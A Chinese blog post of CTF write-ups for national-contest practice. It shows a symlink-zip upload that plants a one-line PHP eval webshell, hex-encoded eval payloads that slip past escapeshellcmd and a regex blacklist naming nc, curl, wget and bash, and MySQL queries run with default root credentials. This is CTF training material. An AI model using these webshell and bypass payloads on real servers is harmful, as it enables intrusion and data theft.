国赛练习(1)

Unzip

软连接

软连接是linux中一个常用命令,它的功能是为某一个文件在另外一个位置建立一个同步的链接。换句话说,也可以理解成Windows中的快捷方式

注意:在创建软连接的文件的所有目录下不能有重名的文件

打开环境,是文件上传,扫描一下后台看看有没有源码

扫描发现存在upload.php,查看一下(去大佬哪里copy一下源码的解释)

 <?php 
  error_reporting(0); 

highlight_file(__FILE__); 

$finfo = finfo_open(FILEINFO_MIME_TYPE); 

if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){  
    //这里是验证MIME值,确定上传的文件类型为zip,同时也为我们指明了方向,要上传一个zip压缩包。
    
    exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); 
  //这里的意思是进入/tmp目录下,然后调用unzip命令对压缩包进行解压,也就是把压缩包解压到/tmp目录下。 unzip -o是用来覆盖已经存在的变量的;$_FILES[“file”][“tmp_name”]是一个超全局变量,用来存储上传文件在服务器上的临时文件名
};

//only this! 

既然是文件上传而且已知上传的类型,应该上传带码的zip文件来getshell,但是题目将zip放到tmp下解压,这样即使我们上传了码也是不能getshell,因为访问不了tmp目录 ;但是我们可以访问网站的根目录(默认为/var/www/html),所以就涉及到软连接,通过软连接使得在tmp目录中指向/var/www/html

软连接在linux中创建

创建软连接命令

ln -s [dir1] [dir2]  #dir1是真实的文件夹,dir2是dir1的软链接。

翻译一下就是dir2是dir1的快捷方式

先创建一个文件夹,进入文件夹后创建软连接

ln -s /var/www/html link #创建名为link的软连接

zip --symlinks link.zip link #压缩软连接

 

 现在存在一个link文件夹,删除link文件夹,因为我们还需要创建一个带码的zip文件,并且要和软连接相同名字命名为link1.zip

进入到新创建的link文件夹中,创建一个写入码的shell.php

echo '<?php @eval($_GET["cmd"]);?>'>shell.php 

 

这里的一句话木马中的参数要注意一下,不然可能上传后会报错,说参数没有定义(怎么避免自己看吧)

退回上级目录,将link压缩为zip文件

zip -r link1.zip ./*   

 

分别上传link.zip和link1.zip,访问shell.php页面进行命令执行

simple_php

这是今年的国赛题,涉及到利用进制转换来进行RCE,在19年的国赛中也是出现过类似的题目,只是这次一时间没有想到这个点

先认识两个函数:hex2bin,bin2hex

hex2bin:把16进制转换为ACill码

bin2hex:把ACill码转换为16进制

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']); 
     if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
         system($cmd);
}
}


show_source(__FILE__);
?>

 先分析源码,存在三个需要绕过的地方,open_basedir,escapeshellcmd,preg_match,

先单独进行分析,首先来分析open_basedir

open_basedir是php.ini中的配置文件,可以限制用户访问文件的范围,例如本题,就限制了用户在php脚本中只能访问/var/www/html下的文件

绕过方法

1.open_basedir对于命令执行没有限制,可以通过命令执行绕过(sytem('ls ')等)

2.使用软连接绕过,使用软连接可以指向我们可以访问的目录或者文件下

3.glob协议绕过

更详细的可以去多多了解

分析escapeshellcmd

escapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义;

反斜线(\)会在以下字符之前插入: &#;`|\?~<>^()[]{}$*, \x0A 和 \xFF*。 *’ 和  仅在不配对儿的时候被转义。 在 Windows 平台上,所有这些字符以及 % 和 ! 字符都会被空格代替

当出现这个函数时,如果我们想要用命令执行来绕过open_basedir,就会被过滤,所以怎样绕过是我们要思考的

最后的正则匹配过滤了大部分的命令执行,还有一些符号,三个函数可以说过滤了很多绕过方式,编码绕过的话,有特殊字符会被转义,命令执行被正则过滤或者转义

在三个函数中,最主要的是绕过转义,绕过转义之后,其他两个我们都能简单绕过

那么既能够不被转义,又能不被匹配,还是命令执行的,我们可以用进制转换来试一试

在十六进制中,只存在数字和字母,不会被转义,还能进制转换后绕过正则

开始构造payload

源码中有system,应该先考虑命令执行

cmd=system('ls');

进行进制转换

system('ls')=>73797374656d28276c7327293b
hex2bin("73797374656d28276c7327293b")

 转为16进制的字符串在用hex2bin函数转为acill码时,需要引号包裹,但是引号被过滤了,可以使用"_"来让16进制被识别为字符串,再用substr,把下划线去掉进行进制转换

hex2bin(substr(_73797374656d28276c7327293b,1))

php -r执行php代码,执行后得到system('ls');,再system(),进行命令执行

cmd=php -r eval(hex2bin(substr(_73797374656d28276c7327293b,1)));

 

 查看flag,发现目录下没有flag文件,到数据库中查询

登录数据库,用户密码默认root,- e执行相关的sql操作

echo `mysql -u root -p'root' -e 'use PHP_CMS;show databases;'`;(php_cms是数据库内容管理系统)

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77206461746162617365733b27603b,1)));

 查表

echo `mysql -u root -p'root' -e 'use PHP_CMS;show tables;'`;

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73686f77207461626c65733b27603b,1)));

 

查表中内容

echo `mysql -u root -p'root' -e 'use PHP_CMS;select * from F1ag_Se3Re7;'`;

cmd=php -r eval(hex2bin(substr(_6563686f20606d7973716c202d7520726f6f74202d7027726f6f7427202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

 

[CISCN 2019 初赛]Love Math

这题也是利用进制转换,不过禁用了hex2bin,用base_convert来进制转换绕过就行

base_convert() 函数在任意进制之间转换数字

语法

base_convert(原本数字,之前的进制,需要转化的进制)

  • 8
    点赞
  • 24
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
蓝桥杯是中国最具知名度和影响力的计算机竞赛,每年举办一次国赛和一次省赛。备考蓝桥杯国赛,可以借助CSDN这个技术社区,收获许多宝贵的资源和经验。 首先,CSDN是一个集合了大量优质的计算机技术文章、博客和问答的平台。在CSDN上,我们可以找到许多与蓝桥杯相关的题目分析、解题思路以及优秀代码分享。这些资源可以帮助我们加深对蓝桥杯题目的理解,提升解题的能力。同时,通过阅读其他选手的解题思路和代码,我们可以学习到其他思维的启发,提高自己的编程水平。 其次,CSDN上有许多蓝桥杯的培训课程和学习资料。这些课程针对蓝桥杯的各个竞赛项目,从基础知识到高级技巧都有详细的讲解和练习。通过参加这些课程,我们可以系统地学习和巩固所需的知识点,增加自己对蓝桥杯各类问题的解决思路和方法的掌握程度。 此外,在CSDN论坛中,还有很多热心的蓝桥杯爱好者及往届选手积极分享经验和答疑解惑。我们可以在CSDN论坛上提问,和其他选手讨论交流,共同解决自己遇到的问题。通过和其他选手的互动,我们可以更好地认识到自己的不足之处,从而有针对性地提升自己的能力。 综上所述,备考蓝桥杯国赛期间,CSDN可以提供大量的学习资源,帮助我们深入理解题目、学习解题思路和提高编程实力。通过合理利用CSDN的各种功能和资源,我们可以更有针对性地备战蓝桥杯国赛,争取取得更好的成绩。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值